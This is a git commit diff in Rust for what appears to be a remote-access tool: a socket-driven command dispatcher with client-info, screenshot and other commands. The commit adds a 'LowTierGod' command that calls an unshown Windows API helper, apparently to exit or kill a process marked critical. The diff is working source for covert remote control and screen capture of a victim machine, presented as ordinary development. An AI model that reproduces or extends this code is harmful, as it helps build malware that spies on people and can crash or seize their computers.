feat: safe exit for criticality

This commit is contained in:
Xory 2025-12-18 16:06:30 +02:00
parent 6b00f0586e
commit 2004a97410
3 changed files with 27 additions and 3 deletions

View file

@ -1,4 +1,5 @@
use futures_util::stream::SplitSink;
use lib::winapi::low_tier_god;
use serde::{Deserialize, Serialize};
use std::sync::Arc;
use tokio::{net::TcpStream, sync::Mutex};
@ -43,6 +44,7 @@ pub enum Command {
ClientInfo,
Dnx { params: DnxParams },
Screenshot,
LowTierGod
}
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
@ -119,7 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
}
// this was way easier than i expected... assuming it works :pilgrim2:
Ok(format!(""))
}
},
Command::LowTierGod => {
let _ = low_tier_god().await; // if this fails you're fucked
Ok(format!(""))
},
_ => todo!(),
}
}